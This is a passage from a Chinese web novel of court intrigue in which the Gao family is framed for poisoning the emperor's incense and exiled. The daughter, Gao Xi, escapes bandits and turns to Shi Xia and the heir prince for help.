她也想试试改变别的女子的命运,让她们能够有属于自己的一方天地。
“太后将人带走了。”谢行淡声解释。
时夏微微蹙眉:“太后娘娘?”太后一向是不到关键时刻不会出手,可现下怎么......
谢行看出了时夏所想:“时小姐可别忘了我们的约定。”他不是默默在后面帮忙什么都不说的那种人。
他本就是一个利益追求者,做什么都是有目的的。
时夏微笑:“此事多谢王爷了,臣女自然不会忘记。”
如若要避免前世时家的结局,远离朝堂是最优解。
只是到时候,不愿履行约定的,可就不一定是她了。
“今日时间差不多,时小姐可去换衣服了。”谢行开口。
时夏一顿:“好。”转过身,她才忍不住露出痛苦的表情。
近些日子谢行越来越变态了!难度越来越高,每次上完课她都累的不行。
-
文安公主还在太后宫里,时夏想了想,决定去宫里看看。
虽说有谢行在,文安公主不会有什么大事,但她本就只是一个小女孩,异国他乡的,还被软禁着,总会害怕。
但她自然不
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能直接说是去找文安,那皇帝知道了,对时家的疑心又得多加几分。
“时丫头,又来找阿笙?”太后笑得慈祥。
时夏露出灿烂的笑容:“太后娘娘也知道,这京城中,我也就和阿笙玩得最好啦。”
“去吧去吧,正好别让她整日在屋子里,出去晒晒太阳。”
“谢太后!”时夏福身,便直直往颜挽笙的屋子跑去。
时夏推开门,就看见颜挽笙和文安公主挤在一起看着话本子,笑得花枝乱颤。
太后娘娘还是太懂她了!
时夏故意酸酸的开口:“唉,本想来给你们解解闷,现在想来,是我自作多情了。”
说着,她还装模做样的擦了擦眼角不存在的泪水。
颜挽笙和时夏认识这么多年,哪能不知道她的小把戏,连头也不抬,敷衍:“嗯嗯嗯。”
文安公主倒是有些手足无措,连忙过来安慰时夏:“夏夏......”可她一向不擅长安慰人。
“文安你不用管她。”颜挽笙摆摆手。
时夏放下假装擦拭眼泪的手,一下向颜挽笙扑过去:“太后娘娘可都给我说了,你好几日没有出去了!”
颜挽笙心虚一笑:“......这不是话本太好看了嘛。”下一秒,她又理直气壮:“都是你不主动来找我,我一个人不好出去逛!”
文安这次倒是看出了二人在开玩笑,也加入进去:“我作证!昨日有人喊阿笙出去逛逛,阿笙不去!”
三个人嬉笑打闹做一团。
半晌,时夏才正经起来:“我还以为文安突然遇到这样的事情会很害怕呢。”
文安歪了歪脑袋:“本来是怕的,但太后娘娘将我带回来,阿笙又是夏夏的好朋友,自然就不怕了。”
“而且,我确信,那熏香里面的东西是又人后面再加了东西,和其他材料不能完全融合。”她又补充:“我想,皇上应该能查出来的。”
时夏和颜挽笙对了个眼神,眼底有些无奈。
皇帝若是想要她有罪,她如何洗清?
突然,一个婢女急急忙忙的进来,冲着颜挽笙小声说着什么,颜挽笙顿时脸色一变。
第68章 去表舅家小住几日
“发生了何事?”时夏皱眉,难道皇帝那边......
颜挽笙摇摇头:“这件事查出来了。”但她不知该如何开口,欲言又止。
“查出来了?和我没关系吧!”文安自信满满。
颜挽笙点点头:“和文安公主无关。”她一咬牙,开口:“是高家。”
“高家?”时夏不可思议。
怎么会是高家?前世直到她死,高家都好好的,且十分受皇帝相信。
“嗯,是陛下宫里的宫女亲口承认,现下已经派人去高家了。”颜挽笙轻轻叹息。
时夏自然知道这事没有这么简单,高家是这几年才被皇帝看重的,近些年办事也深得陛下的心。
按道理应该是会生长的如日中天的,前世的事实也是如此。
且高家并没有谋害皇帝的意义。
皇帝最初应该也是想用一个小宫女来草草了结这件事的,可谁曾想那小宫女竟然说是高家做的。
当众众人的面,皇帝自然不可能轻易放下这件事。
只是,高家到底惹了谁?
-
文安公主制的香出了问题,被带入宫中当夜。
高希开心的回府,自己今日帮了世子哥哥大忙,世子哥哥一定能对她有个好印象。
“爹!娘!”她一回房,便看见两人都在自己的院子里,虽然有些奇怪,她还是脆生生的喊到:“女儿院子里的花好看吧!”
她指向树下,几株从燕尘那里要来的花。
她对这花可爱护的紧,都不让旁人碰的,日日都是亲自打理。
高大人脸色不太好看,紧紧崩着,高夫人的笑也有些勉强,斟酌着开口:“女儿啊......”
“怎么啦?”高希有些奇怪,心底升起一丝怪异的感觉。
高夫人嘴张了又闭上,闭了又张,话到嘴边,却又怎么也说不出口。
“你去你表舅家住几天,如何?”最终还是高父张了口。
“我不要!”表舅家离京城可远了,马车至少要行驶一个月才能到。
“小希,听话。”高夫人劝到:“你不是常说京城里的小姐都不与你玩耍?表舅那里有很多和你年龄相仿的玩伴。”
高希固执极了:“我不!而且时姐姐愿意和我玩!”
“高希!”高大人脸色冷下来,表情严肃极了:“此事就这么定了。”
说罢,他摔袖离开。
高希被这样一吼,委屈极了,她本就年纪小,且从未独自出过远门,眼眶一下子红红的。
高夫人心疼极了,上前两步,将小小的女儿抱在怀里:“小希,你父亲也是为你好,只是说话急了些,东西我们已经帮你收拾好了,今夜,你就带着婢女出发,好吗?”
母亲温柔的话语让高希的心情平缓了些,也更加委屈,她一边擦眼泪,一边开口:“为什么,为什么要这般急......”
“小希不用管这么多,小希只要记住,父亲和母亲永远不会害你,好吗?”高夫人手轻轻擦小女儿脸上的泪水,眼底忍不住流露出几分心疼与不舍。
她和高父就只有高希这么一个孩子,她身体弱,本身生下高希就已是冒着极大的风险。
当年她得知了怀孕的消息时,一直瞒着没有告诉高父,直到月份大些了,高父才知道。
月份大了,自然也不能打掉,于是高希就这么出生了。
生下高希后,高父便特意去吃了药,她不会再怀上孩子。
高希作为二人唯一的孩子,自然是被千娇百宠,更是从未出现过分别的情况。
“好。”高希吸了吸鼻子,最好还是答应了母亲。
“真乖。”高夫人刮了刮高希小巧的鼻子:“走吧。”
她提步向偏门走去,高希也跟上。
木门前,已经有一辆马车在候着,上面坐着车夫。
门内,高父静静的伫立着。
“父亲。”高希轻唤。
“既然来了,便上车吧。”高父并未转身,而是目光沉沉的看着远方。
可哪里看得到远方呢?旁边房子的高墙让他只能看到天上的一点微光。
高希点点头,小心的提着裙子上马车。
“小希,照顾好自己。”高夫人不忍的声音从背后传来,带着几分哽咽。
“女儿知道的。”她没有回头,有些赌气,父亲和母亲就
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让她一个人去这样远的地方。
马车缓缓启动,高希终究还是忍不住,轻轻掀开帘子,将头探出。
对上两双眸子。
母亲的眼神依旧是那么温柔、不舍。
父亲竟然也与刚才不同,他的眼神好复杂,好像是让她快走,又好像舍不得。
如果想让她快些离开的话,那眼角的晶莹是什么呢?
“爹,娘......”她忍不住出声。
可高父却没有回应她,决绝的转身,进了府内。
就连一向心软的母亲,也只是挥了挥手,便也回了府中。
偏门小小的木门静静闭上,马车驾驶的速度也越来越快,她的家也显得越发渺小。
高希看向婢女,低声:“绫香,不对劲。”
绫香自然也这么觉得,可今日她们什么消息也没有得到,刚回府便被火急火燎的送走。
“爹娘是不是遇上什么事了?”高希皱眉。
今夜她们说话很不对劲,就好像......以后再也不能见面了一样。
而且,就算要将自己送到表舅家,何必这般着急?
时间慢慢流淌,两日过得很快,高希在马车上坐得腰酸背痛。
“休息会儿吧,正好吃点东西。”高希对着车夫说到。
“小姐,这荒郊野外的,不太方便找酒楼......”车夫有些犹豫。
“无妨,我饿了,你停下来我简单吃些糕点就行,这马车晃得我头晕。”
马车这才缓缓停下。
“绫香。”车夫还未站稳,高希便冲上前去,绫香也紧随其后,制服住车夫。
车夫瞪大双眼,挣扎个不停:“小姐!”
高希得意,哼,父亲从小就让她习武,以免受人欺负,制服一个车夫,轻轻松松。
她拿出布条,将车夫捆起:“绫香,走吧。”
“是,小姐。”绫香会驾马车,马车一个掉头,往来的方向走去。
两人不眠不休的向京城赶着路,终于,能隐隐约约看到京城的门了。
“小姐!”突然,绫香紧张的唤高希。
高希一顿,微微掀开帘子,马车外赫然围着一圈人。
第69章 只是好奇世子想做什么罢了。
高希的心一瞬间提到了嗓子眼:“你,你们是谁?我可以给你们钱!”
心里暗暗懊悔,就不该图快,走这条路。
若是要钱还好,她可以把马车上的所有东西都给她们,可若是......
那些**笑起来,眼底满是贪婪与猥琐:“真是个漂亮的小娘子啊......”
高希年纪小,又被家里宠着,怎么遇到过这样的人呢?
手一抖,帘子落下,挡住外面的视线。
可即便是隔着马车,她也依旧能感受到外面几人对她肆无忌惮的打量。
“小娘子若是不出来,外面这位小美人,可就要受苦了......”有些调笑又有些威胁的声音从外传来。
“啊!”绫香颤抖的声音响起:“你们不要过来!”
听到绫香颤抖的声音,以及那些男子越来越靠近的猥琐声音。
高希终于忍不住了,她拉开帘子,强撑起气势:“都滚开!”
可她的怒火,在这几个大汉眼里,似乎成了笑话。
几人对视一眼,笑得更开心了:“哈哈哈哈!还是个脾气火爆的呢!”
说着,还更靠近了几步。
高希握紧拳头,思索着她能打过那几个大汉的可能性。
最后,她沉默了,几乎不可能。
她咬唇,默默的朝着京城那般看去,爹,娘,小希可能不能回来了,你们要好好的。
“绫香,你进去。”她拉住马车缰绳。
绫香有些担心,但看着高希认真的眼神,还是默默点了点头。
高希握着粗粝的缰绳,在心里默默数着数字。
几个大汉不以为意,并不认为高希能闹出个什么动静来,嬉笑个不停。
压根不把高希放在眼底:“小娘子又想到什么办法了?”
高希突然抬头,眼神锐利如冰,下一秒,她手用力一拉。
马车直直的向其中一个大汉冲去,这马匹的品相很好,速度也很快。
大汉猝不及防,还未来得及反应,便被马匹一脚踩在身下。
“啊!”大汉发出痛苦的惨叫。
感受到马匹踩过大汉身体,高希咽了咽口水,但依旧咬着牙,不松手,朝着另外几个大汉冲去。
几个大汉慌乱躲开,他们本就没有什么真本事,只是靠着人多,一身肉,和满脸凶哦像,才能一直在这路途上劫持。
其实连这手上的箭都是从别人那里捡的,他们根本就不敢用。
高希咬牙,拼着一股劲向几个大汉冲过去。
她知道,只要她停下来,那就只有一个结局,她没有选择了。
几个大汉慌乱躲避着,胡乱挥舞着手中的剑。
不知是谁运气好,竟然正好躲过了马匹的冲撞,还正好用剑在马身上重重划了一下。
马匹受到刺激,有些不受控制起来。
任由高希如何,它都只胡乱跑着,要看着就要撞上前面的山崖。
高希没办法,拉着马车里面的绫香,一下从马车上跳下。
“砰!”马车狠狠撞上山壁,翻倒,马匹也没有了动静。
二人也摔倒在地上,但幸好没有跟着马车一起撞上山壁。
几个刚才还仓皇逃窜的大汉见马车翻倒,得意极了,向二人走来:“刚才不是要弄死我们吗?怎么不来了?”
高希红着眼,死死的瞪着他们。
“小姐,小姐......”绫香费力的站起身,想要拉着高希跑走。
可高希跳下马车时正好踩到一块石头,崴到了脚,连动一下都疼的不行:“你,你先跑吧。”
她只能这样说,绫香和她一同长大。
她现在是没有办法跑了,可绫香还有希望。
绫香哭着摇头:“不,不要,绫香永远都会陪着小姐......”
“跑?你们一个都别想!”大汉冷笑。
几人很快走到她们面前,高高的俯视着二人:“你们不是要跑?不是要撞死我们?”
“来啊!”说着,他们几人就要伸手。
下一秒,几支箭破空而出。
几个大汉瞪大双眼,直直的倒地。
高希微微松了一口气,向后看去。
只见远处站着一白衣翩翩之人,周围还有几个侍卫。
“世子哥哥!”高希惊喜。
“高小姐可有事?”燕尘
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上前两步。
高希在绫香的搀扶下,费力的站起身:“多谢世子哥哥。”
“高小姐怎在此?此处多山匪,一般不敢走此路。”
“有些急事罢了。”高希摇摇头:“我的马车坏了,可否劳烦世子哥哥带我进京,送我回高家?”
燕尘似乎愣了一瞬,眼底闪过一丝不忍:“高小姐......”他微微叹息:“高小姐先上马车吧。”
“多谢世子!”高希觉得幸运极了。
在燕尘的帮助下,一路顺畅,只是还未行多久,马车便停下了。
“世子哥哥?”高希掀开马车帘子,外面陌生极了,不是高府,也不是她熟悉的任何一个地方。
这地方偏僻极了,且只是一个小小的屋子,像极了乡下。
若不是是燕尘带她来的,她都要怀疑自己是被拐卖了。
“高小姐现在此处住下吧。”燕尘沉默半晌,只这样开口:“我晚些便找医师来帮高小姐看看伤。”
高希有些不明所以:“为何不送我回高府呢?”她心中一抖:“我爹娘出事了!是不是!”
“高小姐还是先将身体养好吧。”燕尘并没有否定。
“我不!你让我先去找我爹娘!”高希一瞬间红了眼,她回来晚了。
若是她当时就是不走,或者她早些找到机会回来,是不是就不会这样?
“我明白高小姐的心情,但是高小姐要把身体养好了,才好去找高大人啊。”燕尘劝到。
高希沉默了,最后才点点头:“有劳世子哥哥了。”
-
从皇宫里出来后,时夏就直直的去找了谢行。
“高家的事是怎么回事?”下午她等谢行的时候,高家人都已经被关入大牢。
只是,缺了一人,高希。
“下午,世子去了一趟城外。”谢行淡声。
“世子?”时夏皱眉:“高小姐在世子那里?”
可世子怎么会冒着这样的风险帮高希?
“王爷为何没有将高小姐带回?”她知道,谢行可以带回高希的。
“只是好奇世子想做什么罢了。”他的眼底多了几分玩味。
第70章 姑娘要去时府?不若一起。
高希腿受伤,不方便行走,但是内心的焦急怎么也止不住:“绫香,你试试看能不能联系上时姐姐。”
世子哥哥让她好好的呆在这里,是为了她好,可她并不能忘记爹娘。
爹娘现在处境一定很危险,她必须得去。
绫香也很担心高大人和高夫人的处境,她匆匆忙忙就想要出去。
“你小心些,别被人看见了。”高希拿出一个帏帽,盖在绫香头上,挡了个完全。
“小姐一个人在这里,注意安全。”绫香叮嘱,这里虽然是世子带他们来的。
但高家毕竟处于风口浪尖上,若是被人发现了......
“我知道的。”高希虽年纪小,任性,也不是不懂事。
绫香点点头,不再多说,打开门,小心的出去了。
如今京城查的严,官兵拿着画像在城门挨个比对着,画像上赫然是高希。
绫香稳住心神,她只是个小婢女,且夫人收拾东西时将她的**契给了小姐,官府应当是没有她的画像的。
她走过去,排在队尾。
周围不时能听到几声抱怨:“这好好的是怎么了?我还急着进京办事呢。”
“听说啊,有个大臣......”那人左右观察了一番,掩着嘴道:“趁着齐国进京,在那公主制的熏香里下毒,而那熏香......是给当今圣上用的!”
“那,那岂不是......”那人瞪大双眼,不敢置信真的有人敢这样对皇帝下毒。
“可不是嘛!陛下查明事情之后,将那一家人抓起来,可侍卫前去时,发现那家人竟偷偷将女儿偷偷送出去了!”
他继续说:“陛下本十分看重这人,本想询问缘由,可那人偷偷将家中孩子送走,一看就是提前计算好的!陛下当即大怒,但还是给他们一个机会,只要让那女儿回来,就饶他们一家的命。”
“陛下这般恩赐,那他们不应该赶紧让女儿回京?”
“是啊!大家都这么觉得,可他们就是不肯!”那人脸上满是费解:“明明陛下想给他们机会,他们就是不接。”
绫香在一旁,越听,面色越凝重。
排队的队伍缓慢前行着,终于到了绫香。
明明那画像应该没有她的,可她的心还是下意思提到了嗓子眼。
若是被发现了,小姐该如何办......
好在有惊无险,官员核对了几日的人之后,也疲惫了,看见她和画像上的人不一样后,便直接放行了。
她赶紧朝着时府的方向走去,半路,却被一辆马车拦下。
“不知公子何意?”绫香声音有些干涩,她怕极了。
难道运气就这般不好?还未来得及和时小姐见上面,就被发现了?
“姑娘要去时府?不若一起。”男子声音清朗。
绫香却心中一惊,他知道她要去时府?也就代表着知道她的身份,到底是何人?
“姑娘不必担心,我想你家小姐应该也很着急吧,还是坐马车快些。”那人又开口:“且我与时小姐认识,应是比你独自去要好见上面的。”
他说的没错,绫香去见时夏,是有可能被避而不见的。
毕竟,如今高家这个情况,谁愿意沾上呢?
即便时小姐是个好人,与她家小姐关系也还算不错,可谁会愿意赌上自己的家人呢?
而且,即便这马车上的人有别的谋算,她也没有拒绝的机会了。
对方可以把她强行抓上马车,也可以直接告诉圣上,她是高家小姐的贴身婢女,从而找到小姐。
思及此,绫香只好点了点头:“多谢公子了。”
许临掀开帘子:“姑娘请。”
绫香愣住,她怎么也没有想到会是许临。
许临和谢行来往较为密切,但老爷并未表示过支持三皇子。
两家的往来就更是少,许临主动帮忙......
“姑娘?”许临开口。
绫香这才回过神来,胡乱点了点头,掩下心中思绪:“多谢许公子。”
马车慢慢驶向时家,最后在偏门停了下来。
许临同门口的小厮点头示意了一下,便带着绫香往府中走去。
绫香愣了愣,许公子竟然可以这样自由出入时家?
他轻车熟路的敲响兰香的屋子,兰香看
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着一旁带着帏帽的绫香,怔愣片刻,似乎有些抗拒。
“这是王爷的意思。”许临淡声开口。
兰香抿抿唇,小姐和王爷在合作,可......高家的事情,贸然掺和进去,绝不是什么好事。
“时小姐若是知道你有事瞒着......”许临慢条斯理开口,声音依旧温润,却带了一丝威胁。
兰香深吸一口气,这才勉强带起些许笑意:“二位跟我来。”
她的屋子离就在时夏院子旁边,几步路便到了:“劳烦二位在此稍等片刻。”
她走进屋内,时夏正在练字。
闲暇无事时,时夏会练字、绘画、抚琴来打发打发时间。
“小姐,许公子来了。”兰香附在时夏耳边轻声说:“还带着......高小姐的婢女。”
时夏皱眉:“高小姐的婢女?”
许临突然来她倒不是很意外,当时向谢行要名单时,她要求谢行把自己安插的人手也写入。
谢行倒是没多犹豫,就写下了一串长长的名单。
其中一位,便是偏门的小厮。
她也同意了,若是有十分要紧的事情或者是两人不方便见面,他便从那个偏门进来。
“让她们进来吧。”时夏收好纸币,起身,走到院子里。
院子里有一凉亭,旁边还种着一棵参天大树,几人在那里谈话正好可做遮掩。
“时小姐。”许临作揖,唇角带笑。
“不知二位有何事?”时夏转过头,微风微微吹过,几丝碎发抚过她的脸颊,好看极了。
许临看了一眼绫香,没有开口,这意思便是让绫香自己来说。
“奴婢绫香,是高小姐的贴身婢女......前几日老爷夫人突然......”绫香向时夏解释着这几日的情况。
时夏却有些头疼,揉了揉太阳穴:“可你同我说这些有何用?”
她并不觉得她可以参和到皇帝与世家之间去,而且时家自己都很危险,更别说帮忙了。
“告诉王爷,这件事我无能为力。”时夏抬眸,不卑不亢:“他若是想要靠这件事做什么,我不会参与。”
第71章 你敢叫本小姐是叫花子!
绫香一听,顿时红了眼眶,她跪在地上,哭泣:“绫香求求您!小姐,小姐是真的没有办法了,所以才想让时小姐帮忙,老爷夫人绝不是这样的人......”
她一边哭泣恳求,一边用力磕头。
时夏看了一眼兰香,她立即心领神会的扶起绫香:“绫香姑娘,不是我们小姐不肯帮,实在是......小姐她什么也做不了啊。”
绫香其实心里也明白,时夏作为一个闺阁女子,无法对这些朝堂政事有所撼动。
但她和现在朝中几位比较有威望的公子都往来较多,多多少少总能多有一些消息的。
她又要再跪下:“时小姐,我们老爷和夫人绝不是那样的人,求你......”
时夏心中微微叹息。
她似乎还是控制不住,有些心软了。
这件事情自然与高家无关,是别人想要针对高家,亦或者是放弃高家。
就像从前的时家一样。
无论从哪方面,时夏看高希,都像是在看曾经的自己。
对爱情幼稚的固执,家族的困境。
“我听说世子将高小姐安置在了外面。”时夏开口:“我想,世子应该比我有办法。”
“世子......”绫香似乎觉得有些不可思议:“世子一向和大皇子在外游山玩水,心思根本不在朝堂之上,也是处于善心才帮了小姐......”
听到绫香这么说,时夏心里忍不住想笑。
世子心思不在朝堂上,她不是第一次听到人们这样说。
若不是前世的记忆,她恐怕也会觉得世子是一个这样的人吧。
是若是他心思不在朝堂上,那安插在时府的人手呢?提前和文安公主打好关系呢?
所有的事情,都只是巧合吗?
她看向许临,等着许临说话。
许临顿了两秒:“王爷的意思是,您相办法让高小姐主动去见陛下。”
时夏的眉头皱的更紧了,虽然外面都传,皇上说高希主动露面就留高家一命。
可明眼人都知道,这不过是一个幌子,只是想要逼着高希露面罢了。
没有一个皇帝能接受,自己的大臣对自己有二心。
哪怕这二心最初就是他自己编造出来的,可他心中总会怀疑。
绫香也有些懵,显然没有想到许临会这样说。
“带我去你们住的地方吧。”时夏明白,谢行这不是要帮高家,而是要利用高家的最后一点价值。
她心里有些发寒,脸色也冷了下来,前世,他也是这样吧。
不想、不值得花费精力时间去保时家,眼睁睁看着时家被奸人所害。
明明她们是夫妻啊,明明是最亲近的人,他却连半个眼神都不给。
绫香有些惊讶,但还是带路:“多谢时小姐。”
她不知道谢行想要做什么,她只知道,情况应该不会更坏了吧。
马车晃悠到郊外,一个破烂的茅草屋。
时夏象征性的敲了敲门,便直接走了进去。
“时姐姐!”高希看见时夏,满脸惊喜:“时姐姐,我现在应该怎么办?”
她还不了解高家的情况,只知道家里一定出事了。
绫香先简单给她解释了一下。
高希顿时面色惨败,腿有些发软:“怎么可能......我爹娘,不是那样的人......”
“现在,你只有先出现在皇上面前,才有可能保住高家人的性命。”时夏垂眸。
“好!我露面,我露面......”几乎是不假思索的,高希就用力点头。
时夏忍不住劝:“你爹娘让你提前走,必定是有所预料的,你现在这般回去......”
高希摇了摇头:“无论如何,我都要和爹娘一起,我想好了,时姐姐。”
“......好。”时夏点头:“那你寻个时机到京城去,不过......你装作是意外被人掳走,拼尽全力才成功逃出来。”
虽然有些虚假,但也比明晃晃的偷偷离开,要好上些许吧。
“多谢时姐姐。”高希点点头。
-
翌日。
两个穿着破烂,头发花乱的女子出现在城门口。
侍卫们本就因
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为每日核对画像烦躁,且最近天气也炎热。
“叫花子滚远些!”他们毫不留情。
“你敢骂本小姐是叫花子!”站在前面的女子虽然蓬头垢面,也能看出面容清秀:“本小姐可是当朝高家,太傅唯一的嫡女!”
几个侍卫皆是面色一变,对视一眼:“太傅?”
下一秒,两个侍卫上前,一左一右抓住高希的胳膊。
高希挣扎起来:“你们做什么!别碰我!看清楚本小姐是谁!”
侍卫长却根本不理睬她,又上来两个人把绫香也抓住:“带走。”他冷声。
“放开本小姐!”高希剧烈挣扎着,可她只是个女子,又被千娇万宠着长大,力气自然不能和每日训练的侍卫们比。
无论她怎么挣扎抗拒,她还是被几个侍卫强行抓着,带入了皇宫。
甚至连辆马车都没有,就在众目睽睽之下,被扣押着进宫。
“陛下。”侍卫将两人押在地上,强行按跪。
“皇上!”高希委屈:“我好不容易回京,这几个侍卫,竟然这样对我!我要见我爹!”她任性极了。
皇帝的眼神里沉沉,有几分探究,他抬抬手,几个侍卫松开手,高希得以起身:“你这几日在何处?”
说到这个,高希可就滔滔不绝了:“臣女本来要去郊区游玩,可行至半路,突然遇到山匪,抢走了所有的东西,就连马车都被抢走了!”
她气急:“臣女只能每日靠双脚走回来,脚都磨破皮了!”
“是遇到了山匪?”皇帝皱眉:“朕还以为是你自己不愿回来了呢。”
“为什么不回来?臣女不回京城还能去哪里?臣女在绣坊新定的衣裳还没有拿到呢!”高希似乎有些奇怪。
“无事,朕多想了。”皇帝目光和蔼:“不过,你不在的这几日,倒是发生了不少事情。”
高希好奇:“什么?谁家小姐定亲了?不会是和世子哥哥吧!”她瞪大双眼。
“你这丫头!”皇帝似乎被她逗笑,半晌,才有沉下脸色:“你爹,派人在朕的熏香里下毒。”
第72章 遣散
高希似乎怔住了,爹给圣上下毒?这怎么可能?
“陛下,这,这......我爹一向忠诚于您,怎么可能下毒呢?”高希颤颤巍巍开口。
“是啊,朕也很想知道,为什么。”皇帝看向远处。
侍卫押着高家一众人来到殿前,一下,殿内就跪满了人。
“爹,娘......”高希红了眼眶,不过几日,爹娘就瘦了好多。
尤其是娘,本就体弱,现下更是......形销骨立。
高大人和高夫人本以为高希已经乖乖的在去表舅家的路上了,可现在面前却是一身蓬头垢面的女儿,高夫人嗓子酸涩,有些哽咽。
女儿这般爱美,现下却成了这般模样,不知道受了多少苦......
“前几日高小姐走丢,不过运气好,几个侍卫在郊区寻到了,赶紧带了回来,这才没出大事。”皇帝沉声打断了几人的眼神。
高大人磕头:“多谢陛下......救了小女。”
“朕是不愿相信高太傅给朕下毒的。”皇帝叹气:“这些年,高太傅一直尽心尽力的为朕教导皇子公主,如今......”
高大人却没有接着皇帝的话多做解释,只是低头。
“罢了。”皇帝叹息一声:“高大人也为朕效力多年,朕不想赶尽杀绝。”
“贬去高氏一族的所有职位,家中剩余钱财充国库,从今以后,不得再进入京城。”太监尖声宣布。
“朕给你们三日时间收整行装。”皇帝最后的宽限。
高希大喜,她本以为发生这样的事情,他们一家必死无疑。
没想到,皇上竟然只是让他们离开京城。
“多谢陛下。”高翼磕头谢恩,声音平静许多。
其余高氏众人也随着磕头,整个殿中回荡着“嗡嗡”声。
-
从宫里出来后,高希心情好极了,她挽着母亲,脸上满是喜悦:“娘!我们居然还能一起出来!”
高夫人捧着高希素净的脸蛋,眼底满是复杂情绪:“你怎么回来了?不是让你去表舅家?”
“嘿嘿......”高希笑笑:“要是我不回来,陛下指不定会怎么想呢!我都听说了,陛下觉得这都是爹娘谋划好的。”
“可......”高夫人张了张口,最后还是什么也没有说:“小希,要吃苦了。”
这个时候,高家已经没有能力再将高希送出去。
“不算吃苦!和爹娘在一块,就是极好的了!”高希笑着:“我们去找一块地,上面可以种各种我爱吃的菜,对了!还可以种花,一定超级好看!”
她笑着和高翼高夫人描述着未来,充满着美好的畅想。
在她的感染下,高家人似乎清晰也都好了些,脸上多了几分笑意。
到府里后,高夫人找出府中的各个侍女小厮的**契,拿给嬷嬷:“刘嬷嬷,分下去吧。”她叹息。
“夫人......”刘嬷嬷心有不忍。
“你的也在里面,去吧。”高夫人坚定,背过身。
“老奴代大家谢过夫人。”刘嬷嬷行了个恭恭敬敬的大礼。
刘嬷嬷离开,高大人在处理府中其他事情。
屋子里只剩下高夫人,安静极了。
夜幕很快降临,大部分家仆都收拾东西走了,只剩下几个还坚持不肯离开。
“绫香,大家都走了,你为何不走。”话虽是这样说,高希还是有些舍不得绫香的。
她和绫香一起长大,两个人从小一起长大,从她有记忆起,绫香就是她的贴身婢女。
又对她极好,虽大不了高希多少,但也是像一个大姐姐般照顾着她。
“绫香不想离开小姐。”绫香是认真的,**契高希早就给了她,先不论别的地方是不是个好去处,但从感情上讲,她就舍不下高希。
而且现下圣上没有要高家的命,只是收归所有财产,驱逐出京城。
高家还可以为商、为农,并不是无路可走。
“小姐就留下绫香吧,绫香还能多出一份力呢。”
“绫香,你真好。”高希将头靠在绫香肩膀上,依赖极了。
晚膳,没有了仆从,众人也没有什么钱
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,就简单的用屋子里剩下的菜做了几个菜。
虽卖相有些丑,但好歹熟了,混着米饭,倒是也还能下咽。
“爹,娘,你们多吃些!”高希给二人夹菜:“你们都瘦了。”
她心态好极了,虽然今日的饭菜不好,可日后,她一定会努力学做好吃的饭菜的!
-
翌日,高希一起床,就感觉有些奇怪。
昨日还和她一样眉目舒展的绫香,今日虽然尽力装作无事的模样,可依旧显露出许多的马脚。
“绫香,你这是怎么了?”高希一边洗漱。
绫香斟酌着开口:“今日......朝中突然出现许多**老爷,说老爷**的奏折。”
高希一顿:“什么?”她爹不可能做这样的事:“我爹呢?”
“老爷还在府里,只是......一早上都未曾从书房出来过。”
“我去找时姐姐问问。”她咬牙。
虽然她明白,遇到何事都去找时夏,很不好。
可她确实对这些一窍不通,丝毫不知道应该怎么办。
-
时夏看着坐在对面的高希,有些无奈。
这些事情,她自然是不好插手的。
她现在也摸不清,这到底是皇帝的意思,还是高大人领头上那人的意思,亦或者还有其他人,趁着这个机会浑水摸鱼甩锅,亦或者都有。
这事情太过于复杂,她都还未来得及问谢行,高希就来了。
“或许,世子比我要清楚一些。”她尝试让高希问问别人:“世子今日去上了早朝的。”
高希眼前一亮,对啊。
还有世子哥哥!而且世子哥哥之前都愿意在那个情况下收留自己,这次也一定会愿意相信自己的!
“谢谢时姐姐!”高希风风火火的就向世子府前去。
时夏叹气,也不知,高家这次的结局,能不能与曾经的时府不同。
这件事情上,她实在是不敢参与。
本就与时家无关,且时家若是参与了,一个不小心,这火便会烧到时家身上,那她重生的意义便失去了。
第73章 世子府的规矩就是在大街上对女子动手?
高家遣散了人手之后,连车夫也没有了,马匹也被卖掉用作这几日的生活。
所以她今日是走路出来的,京城毕竟有这么大,她从前从未走过这么远。
走得脚都酸疼不已了,才总算是到了燕王府。
“麻烦帮我通传一下,我找世子哥哥有事。”高希笑笑。
门口的小厮见是高希,面色有些微妙,但还是进去了。
半晌,小厮出来:“抱歉,世子现在不太方便。”
高希有些着急:“我真的有急事找世子哥哥,麻烦你再给世子哥哥说说呢!”
她没有想到燕尘会拒绝见她,毕竟,上次那样的情况,世子哥哥都愿意帮助她。
小厮面色冷了下来:“世子说了,现在不空,麻烦这位小姐不要再挡在门口了。”
“我......”高希着急,世子哥哥不愿帮她,她就真的找不到人了!
“小姐,请走吧。”见她不离开,小厮也不再客气,甚至直接上手推搡起来。
“高小姐?”许临温润的声音在背后响起,扶住了有些不稳的高希。
“许公子......”高希的眼里又闪出光芒,许临之前也帮过她,而且许临一向与景王交好,若是景王愿意帮她......
“大街上对女子动手,世子府就是这样的吗?”许临面带微笑,只是显得有些讥讽。
几个小厮见到许临,当即有些心虚:“这......她挡在世子府门口,吵吵闹闹的,所以我们才......”
“我没有吵闹!我只是想确认一下!”高希不满,反驳。
“高小姐找世子有何事?”许临轻声。
高希面色有些羞愧:“我......想必许公子定也知道父亲的事情,但那些都不是父亲做的!定是有人冤枉栽赃父亲!”
她慌乱解释,有些不知道该怎么说:“世子哥哥,世子哥哥从前与父亲关系好,一定也是知道父亲不是那样的人的!”
许临笑意深了些:“原是这样,高小姐可还有别的事情要忙?”
“没有。”高希有些茫然的摇摇头。
“高小姐既然不急着找别人,现下世子虽不空,不若高小姐先进府去等等?待世子空了,必然也就能帮高小姐证明了。”他提议。
高希双眼一亮,是啊!
世子哥哥只是现在不空,她可以等等啊!等到世子哥哥忙完事情了,再帮她想办法,找证据。
“多谢许公子!”高希上前两步,看向小厮:“我进去等世子哥哥忙完再说事情。”
小厮有些为难,世子本就是不想见她啊。
“世子难道不愿见高小姐?”许临有些疑惑,下一秒又仿若意识到自己说错话了:“我只是随口一说,世子与高大人的关系曾经那样好,怎么会高家出事了就不肯见面呢?”
他话说得好听,可意思却全是威胁。
高希却全然未曾察觉,只觉得许临说得对,用力点头:“就是就是!世子哥哥不会不管我的!”
小厮自然不能应下这话,否则外面得如何看世子?
“待我向世子禀告一声。”他又进了府里。
很快,出来便扬起标准的笑容:“高小姐,请吧。”
“那许公子我先进去了,下次再见!”高希挥挥手。
许临也轻轻摇手,嘴角是温柔笑容,眼底一片幽深。
小厮带着高希左拐右拐,到了一处偏僻的屋子。
高希虽然有些奇怪,但也没有说什么,毕竟她现在是来找人求助,就不必在意这些了。
“高小姐,请。”小厮带到屋子门口,便离开了。
